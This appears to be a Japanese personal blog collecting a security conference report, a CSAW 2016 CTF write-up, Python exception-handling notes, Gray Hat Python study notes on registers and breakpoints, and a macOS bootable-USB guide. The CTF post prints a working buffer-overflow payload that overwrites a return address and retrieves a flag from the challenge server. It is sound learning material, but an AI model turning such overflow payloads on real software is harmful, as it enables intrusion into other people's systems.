CODE BLUEとAV TOKYOに行ってきた
はじめに
CODE BLUEというサイバーセキュリティの国際会議に学生スタッフとして応募したところ,採用されたので10月19日~22日の4日間東京に行ってきた.
学生スタッフは1日スタッフとして働く代わりに,もう1日はカンファレンスの講演をタダで聞くことができた.僕は出場しなかったのだが,コンテストも開催されており,それに出場することもできる.まぁ1日は自由にできるってこと.
参加の経緯
バイト先の先輩にCODE BLUEの学生スタッフに応募しようと誘われたのがきっかけだった.その時はCODE BLUEの存在は知っていたものの,学生スタッフの応募をしているのは知らず,せっかくの機会だしちょうど進路について考えていた時期だった.専門は応用物理で量子力学とか光学とか,数理計画とかシステム制御など情報科目はかじっているがセキュリティに明るい人間が周囲に少なく,その点でも学生スタッフや業界の社会人の方と話してみて業界のことをもっとよく知りたいと思い応募した.
結果は上記の通り,応募が通り参加できることになった.先輩は採用されなかったため,知り合いが一人もいないという状況でとても不安だったが一人東京に向かった.
当日はTwitterで見かけていた学生スタッフの面々と合流し,なんとか不安を和らげた状態で顔合わせをすることができた.
最初の印象
9割方のスタッフが情報系学生だし(あたりまえ),みんな研究室とか入ってるしセキュリティ強そうだし,思ったより幅広くて(ロボットやら物理層の人やらネットワーク,Webの人まで)すごいなぁという印象だった(小並感
正直自分はまだまだ初心者で,知識的にもまだまだ知らないことが多すぎるので話を聞いているだけで知れることが多かった.
あと,初めてLANケーブル作った.(僕は手伝っただけだけど)
夜はセイクで優勝した.
1日目
フリーな日.最初の基調講演はe-Estoniaの話.
正直な話,ここまで情報化が進んでいるものかと近未来的に感じた.しかし,他国と比べて小国だからこそのスピード感や小回りが効く感じがあるなと感じた.これが日本だったら可能かと言われれば,少なくとも現在では無理だろうと感じた.
CGCのチャンピオンの話は内容も理解しやすく,とても面白く聞けた.セキュリティも着実に自動化の波が来ていることを強く感じたし,セキュリティ業界に進むとしたらそれが課題になってくるだろうと感じた.人間との住み分けはどうしていくべきか.どう人間がしている作業を自動化するか.
午後は割とレイヤー低めな講演が多かった.
最近カーネルの勉強をし始めたので講演を聞いたが,基礎知識程度なら学習したばかりだったのでなんとなくはわからないことが多すぎたのでもっと勉強しなければと感じた. 古典的なことを勉強している段階なので実用されている技術には疎く,TrustZoneの話とかは「へぇそうなのかぁ」という感じになってしまっていた. 誰かカーネル強い人どうやって学習したらいいか教えてください....
MINIX本読んでるけどまだ1章の概論までしか読めてないのでとりあえずそれ読んでみようと思う.
午後の後半のbinary rockstarとかhouse of einherjarとかも楽しく見させていただいた. 特に松隈さんの講演はスライドも綺麗で丁寧に説明してくれている印象だったので,スライド見ながら実際に試してみたいと思う.
夜はセイクで優勝した.
2日目
自分は誘導と午後のドアキーパーをした. ドアキーパーは講演を聞くことができたが,途切れ途切れな上に同時通訳使ってなかったのであまり頭に入ってなかった.
午前のサイバースパイキャンペーンに関する話題は,結局目的についてはわからなかった感じがした.特段日本と台湾を狙う必要性が自分にはわからなかった.
ルーターのバックドアの話は途切れ途切れに聞いていたが面白かった.
閉会
ネットワーキングパーティーでは業界のすごい人や,Twitter,本の裏側でしか名前を見たことがなかった人たちと名刺を交換させていただいた. 自分の知らない業界の話とかも聞けたし,技術の話とかもできてとてもよかった.話を聞いていてやっぱりエンジニアっていいなと思ったし,自分の分野を生かしてこの業界に貢献することもできることを実感できた.
正直,進路についてはさらに迷った気がする.
夜はもちろんセイクで優勝した.
2次会ではあのテイラーに直接講演のの質問もさせていただいて,幸せすぎた.
海外のエンジニア,リサーチャーの方とも話せたが,自分の英語が拙すぎて辛かった.聞いてなんとなく理解はできるが,話すとなると途端に使い物にならないことを痛感した.英語も話せるようになっておきたいと思う.
なお,3次会のカラオケでは,外人同士の最初の挨拶みたいなので"Are you a hacker??"みたいなのがあってびっくりした.そんな挨拶の仕方があるのか.なんでも,こういうパーティーにはエンジニア以外も参加するため,同じ話題を探すようなものだそうだ. 僕もそんな台詞言ってみたい.
AV TOKYO
翌日はAV TOKYOという,お酒を飲みながらLTみたいな感じの話を聞いたり,CTFやったり,ネットワーキングしたりという会に参加させてもらった.
またもやTwitterで見かけた人たちがたくさんいて話を聞いたりしていたが,みんな強いって感じだった.名刺など交換させていただいで本当にありがたい.
CTFは途中で詰み,電源がないためPCのバッテリーも詰みだった.パクチーグリーンスムージーは読めてたんだけど......
後半はおとなしく講演聞きながらお酒飲んでた.
まとめ
今回の東京行きは今後の進路選択にとってはとても有意義だったように思う.自分の未熟さを常に痛感したし,近い年のプロたちとも知り合えて良かったと思う.当面は引きこもって知識をつけたりバイナリ読んだりしていきたいと思う.
思えば無限に酒飲んでた記憶しかないけど,いい刺激になった4日間だった. 帰りのバスで本読んだりCTF解いたりしてたら途中で気持ち悪くなって帰るまでに死にかけた.
次に会うときには圧倒的成長して再会したい.
関わったみなさん本当にありがとうございました!!!
CSAW2016: Warmup
はじめに
最近CTFはじめました。 こちらにwriteupをまとめていきたいと思う。 更新頻度上げます。
超初心者なので,復習も兼ねてかなり丁寧に書いていきたい.途中でめんどくさくなるかもしれない
ということでCSAW 2016のpwn50をとりあえず取り組んでみた.最初に自分で考えてみて最近本ばっか読んでてバイナリ読めなくなってる他の方の記事を参考にしながら解いていくことにする.
ちなみに,この記事が初心者にもとっつきやすく,詳しく説明してくれていたので参考にさせていただいた.
CSAW 2016: Warmup | Cybersecurity Club @ FSU
50ポイント.baby以下の問題っぽい
$ nc pwn.chal.csaw.io 8000 -Warm Up- WOW:0x40060d >Hello!!!
問題のサーバーに接続すると表示されるWOW:0x40060d
が気になる.何かのアドレスかな....?
試しにパイプでpython -c "print 'a'*100"
とか送ってみたが,表示される謎のアドレスっぽいものは変化しなかった.正直,この時点で詰んでた.
$ file warmup warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped $ checksec --file warmup RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 warmup
配布されているバイナリを見てみると,x86_64 ELFバイナリであることがわかる.
当日は無償版のIDA Demoが64bitバイナリを読めないため,途方に暮れていた.
Radare2というリバースエンジニアリング,バイナリ解析のフレームワークを用いて解析してみる.
よく見ると,最初に表示されるWOW:0x40060d
と同じアドレスにsym.easyがあるのがわかる.
どうやらsym.easyとsym.mainに注目すればよさそうだということがわかってきた.
どんな関数なのか見てみると,
これは前述のWriteupを読んで知ったのだが.EDIレジスタは文字列操作などの際に書き込み先のアドレスを示すポインタとして働く.具体的な用途初めて知った.EDIに代入してるcat_flag.txt
ってのも名前からして大分怪しい.
EDIなどレジスタについては以下のリンクを参考にした.
The Art of Picking Intel Registers
以上より,何か入力を与えてBOFさせ,処理を0x40060d
にリダイレクトさせろってことなんだろう.
それを踏まえてこれからmainを見ていくことにする.
objdumpで見たときとはえらい違いである.読みやすい.r2しゅごい.
最初にrbpがpushされ,rbpにrspが代入されている.
そのあとrspが0x80分だけ引かれ,スタックが積まれていく.ってな感じでプログラムが進んでいる.
0x0040069e
でgetsが呼ばれているが,これはユーザーの入力を受け取る関数である.ここをBOFさせてリターンアアドレスを書き換えてやる.
今積まれているスタックはrbpから0x40バイトで,rbpは64bitなので0x8バイト.つまり0x48バイトの入力値のあとにリターンアドレスを書き換えてあげれば良い.
こんな感じ.
$ python -c "print 'a'*0x48 + '\x0d\x06\x40\x00\x00\x00\x00\x00'" | ./warmup -Warm Up- WOW:0x40060d >cat: flag.txt: No such file or directory Segmentation fault (core dumped)
なのでこれを送ってあげれば良い.
$ python -c "print 'a'*0x48 + '\x0d\x06\x40\x00\x00\x00\x00\x00'" | nc pwn.chal.csaw.io 8000 -Warm Up- WOW:0x40060d >FLAG{LET_US_BEGIN_CSAW_2016}
最後に
あまりツール群詳しくないので初めてr2を使ったのだが,見やすい.
ドキュメントもあったみたいなので,チュートリアル見ながらうまく使えるようになっていきたい.
Pythonで例外処理を書いてデバッグする
はじめに
gray hat pythonという本を写経しながらwindowsデバッガを作成しているのだが,その際にエラーが発生しているらしく,思うように処理が動かない.
直接エラーメッセージが出てないので見てみる,try exceptの部分でエラー隠蔽されているっぽいので,エラー発生時のログを見てみることにした。
try-except文とは
try文の中の処理を最初に実行し,もしエラーが発生するとexcept文の処理を実行する.
エラーが起きた時に処理を止めたくない時に有効だが,今回のようにエラーが発生してもどこでエラーが起きているのか隠蔽されて原因が見つかりにくくなる.
今回はtry-exceptでエラーをハンドリングせず実行しているので,エラーメッセージが表示されず,try文の中でエラーが発生し,except文の処理が実行されているのではと考えた.
エラーオブジェジェクトを受け取り,表示する.
本来は,発生するであろうエラーに備え,例外クラスをexceptに記載してやる必要がある.
しかし,発生するであろう例外を正しく予測しクラスを記述するのは僕みたいななんちゃってエンジニアには難しいので,何がエラーになっているのか確かめてやる方が良い.
Exceptionクラスを指定して,eという変数に例外オブジェクトを渡す.
# -*- coding:utf-8 -*- try: # 実行したい処理 except Exception as e: # エラー発生時の処理 print "[x] An Error has Occured." print "[x] Type: {type}".format(type=type(e)) print "[x] Args: {args}".format(args=e.args) print "[x] Message: {message}".format(message=e.message) print "[x] Error: {error}".format(error=e)
実行してみると,AttributeErrorが吐き出されて変数のスペルミスだったことがわかった。
ツライ。
参考
いい機会なので例外処理について調べてまとめてみようと思ったが,参考にしたリンク貼っとけばいいやという甘え.
Pythonでtry exceptの書き方と、エラー内容の取得方法 - Symfoware 8. エラーと例外 — Python 2.7.x ドキュメント
補足
よく考えたらエラー出てるソースコードもないのにソースが〜〜〜とか書いてた. 紛らわしいので修正しました.
例外のprint文をstr.format関数を使って書き直した.
Python2.6でwinデバッガ構築-その0-
目次
更新予定
はじめに
ずいぶん前に下記の本を買った.
最近ようやく何言ってるかわかってきたので,(とは言ってもちゃんと理解しているかはわからない)学習したことを整理するために内容をまとめていきたいと思う.
まだ理解が不十分なところもあるため,誤りなどあればコメントなどで教えていただけると助かりますm( )m
Memo
初版は2010年5月24日発行.
購入したのは初版 第3刷
実行環境
1章 開発環境,実行環境のセットアップ
本書のサンプルコードは基本的に32bit Windows向けであるので,仮想環境でWindows7 32bitを用意しPythonをインストールする.
本ではバージョン2.5が推奨されていたが,2.6を使用した.
本記事執筆時点では,(3章終わったくらい)特にPythonの外部ライブラリを使用していないため,pipなどはインストールしていない.
2章 デバッガの基本原理
2.1 汎用レジスタ
x86 CPUにおいて,以下の8つの汎用レジスタが使用される.EAX, EDX, ECX, ESI, EDI, EBP, ESP, EBXの8つのレジスタ.この汎用レジスタは,それぞれ特定の用途向けに設計されている.
EAXレジスタ
アキュムレータとも呼ばれ,計算処理の遂行,関数の戻り値の格納に使用される.
乗除の計算はEAXレジスタでのみ可能.
まぁ,多分関数の戻り値がEAXレジスタに格納されることを覚えておけば問題ない.
EDXレジスタ
データレジスタ.EAXレジスタの拡張で,乗除計算の際にデータを保持して補助的な役割を果たす.
ECXレジスタ
カウントレジスタ.ループ処理の際に使われる.ECXレジスタはループの際に上方向ではなく,下方向にカウントする.具体的には以下の通り.
counter = 0 while counter < 10: print "Loop num: %d" % counter counter += 1
これをアセンブリに翻訳すると,ECXレジスタの値は1回目は10,2回目は9と,減っていくらしい.
これはコンパイルされたもの見たことないのでそういうもんだろうと覚えておくことにするのと,また実際に書いてみてみたいと思う.
ESIレジスタ
データ処理のための「ソースインデクス」として入力データストリームの位置を保持する.
EDIレジスタ
データ処理の結果がどこに格納されているかを示すポインタの役割を持つ.
ESPレジスタ
スタックの先頭を指すレジスタ.戻りアドレスを指す.
EBPレジスタ
呼び出しスタックの最下部を示す.
EBXレジスタ
特に用途があるわけではないらしい.
2.2 スタック
スタックはデータ構造の1つで,FILO(First in, Last out : 先入れ後出し)方式の構造になっている.イメージとしては,下部が閉じた筒みたいなのにデータを上から積み上げていく感じ.
関数呼び出しの際にはスタックに引数がpushされ,関数の実行が終了するとスタックから引数がpopされる.ESPレジスタはスタックフレームの最上部を指している.スタックは,メモリの高位アドレスから低位アドレスに向かって伸長する.アドレスの値が大きい方が高位アドレス.
2.3 デバッガイベント
デバッガはデバッグイベントを待つ永久ループ構造として作動する.デバッガイベントが呼ばれると,それに対応するイベントハンドラが呼び出され,デバッガは自身の実行を一時停止して次の指示を待つ.ここら辺は次回にまわすことにする.
2.4 ブレークポイント
デバッグ対象のプロセスを一時停止させるにはブレークポイントを設定する必要がある.プロセスを一時停止することで,その時点の変数,スタック上の引数,メモリ位置などを調べることができる.ブレークポイントには3種類あり,それぞれソフトウェアブレークポイント,ハードウェアブレークポイント,メモリブレイクポイントと呼ばれる.
ソフトウェアブレークポイント
ソフトウェアブレークポイントはアセンブリのオペコードを特定部分つまり,ブレークポイントを設定したい場所のオペコード中の1バイトを割り込み3(INT 3)命令に置き換える.CPUはこのバイトに達すると処理を停止してINT 3 イベントを発生させる.デバッガは事前に設定されたブレークポイントのアドレスがEIPレジスタが現在指しているアドレスと一致するか確かめる.その後デバッガは一時的に保持しておいた本来のオペコードをそのアドレスに書き戻し,プロセス再開時にオペコードの実行が問題なく進むようにする.
ソフトウェアブレークポイントの処理において,ブレークポイントを設定するとプログラムのCRCチェックサムと呼ばれる誤り検出符号の値が変化する.これはどういうことかというと,プログラム自身がメモリ内の実行コードについてCRCチェックサムの変更を検知できるということである.
これにより,チェックサムが変更された時に自身をkillして自身がデバッグされるのを防ぐことができる.
ハードウェアブレークポイント
これを回避するためのものがハードウェアブレークポイントで,デバッガレジスタという特殊なレジスタを通してCPUレベルで設定する.デバッグレジスタは保持できるアドレスの制限があるため,必要なブレークポイントの数が少なく,デバッグ対象のソフトウェアに変更を加えることができない時に有効なである.ソフトウェアブレイクポイントがINT 3 を利用したのに対し,ハードウェアブレイクポイントでは割り込み1(INT 1)を利用する.デバッガは,各命令アドレスについて,ハードウェアブレイクポイントが有効かどうかをチェックする.その際に,ブレークポイントの設定されているメモリ領域についてアクセス違反が発生していないかをチェックする.該当アドレスがブレークレジスタに格納されていて,かつ読み取り/書き込み/実行のブレークポイント条件に合致する場合はINT 1 が引き起こされ,CPUは実行を停止する.
メモリブレークポイント
これは実際にブレークポイントではない.メモリブレークポイント設定の際に,メモリのページと呼ばれるOSが扱う最小単位のメモリ領域に対するパーミッションを変更し保護ページにすることで,そのメモリ領域に対してアクセスが発生した際に例外が発生し,CPUの実行が停止する.これによってそのメモリ領域に対してアクセスした命令を調べれば,何が試みられたのかを調べることができる.
とりあえず
この記事はこれくらいにしておく. 次回はWindowsデバッガを実際に作ってみる.
参考
ブログ書くの慣れてないのでこちらの構成を参考にさせてもらった.
Mac OSX上でISOイメージからBootable USBを作成する
動機
久しぶりにISOイメージからBootable USBを作ろうと思ったが,毎回調べてるなぁと思い,自分のためのメモのために書いてみた.
環境
$ uname -a Darwin hal0taso.local 15.6.0 Darwin Kernel Version 15.6.0: Mon Aug 29 20:21:34 PDT 2016; root:xnu-3248.60.11~1/RELEASE_X86_64 x86_64
用意するもの
USBフラッシュドライブの初期化
USB フラッシュドライブをシステムに挿入してから diskutil コマンドを実行し,接続されているディスクの一覧を確認する.
$ diskutil list
これで現在接続されているディスクのパーティーション一覧が取得できる.
$ diskutil list /dev/disk0 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *251.0 GB disk0 1: EFI EFI 209.7 MB disk0s1 2: Apple_CoreStorage Macintosh HD 250.1 GB disk0s2 3: Apple_Boot Recovery HD 650.0 MB disk0s3 /dev/disk1 (internal, virtual): #: TYPE NAME SIZE IDENTIFIER 0: Apple_HFS Macintosh HD +249.8 GB disk1 Logical Volume on disk0s2 CD163BED-91C7-48D1-99AC-531133179E53 Unlocked Encrypted /dev/disk2 (external, physical): #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *7.8 GB disk2 1: EFI EFI 209.7 MB disk2s1 2: Microsoft Basic Data UNTITLED 7.6 GB disk2s2
僕の場合はdisk2らしい.これはディスクの容量や,ディスクを挿入する前と後の差分などで判断する.
対象ディスク(/dev/disk2
)をMS_DOS(FAT)形式で初期化する.
$ diskutil eraseDisk MS-DOS UNTITLED /dev/disk2
ISOイメージをディスクに書き込む
インストールしたいISOイメージファイルをディスクに書き込む.
この時,フォーマット直後はディスクはマウントされたままなので,一度アンマウントする.
$ diskutil unmountDisk /dev/disk2 Unmount of all volumes on disk2 was successful
ddコマンドを使用してISOファイルを書き込む.
この時,デバイスファイルに対して一般ユーザーはアクセス権がないため,sudo
が必要.
$ sudo dd if=./Downloads/kali-linux-2016.2-amd64.iso of=/dev/disk2 bs=4028
bsオプションの値については,詳しくないので参考サイトの値をそのまま使用させてもらってます…
$ sudo dd if=./Downloads/kali-linux-2016.2-amd64.iso of=/dev/disk2 bs=4028 Password: 763845+1 records in 763845+1 records out 3076767744 bytes transferred in 3320.675473 secs (926549 bytes/sec)
ddの実行は結構時間かかりました.
コーヒーでも飲みながらゆっくり待ちましょう.
ディスクの取り出し
書き込みが終わったら,USBを取り出します.
$ diskutil eject /dev/disk2
一応,diskutil list
で取り外されたことを確認して終了です.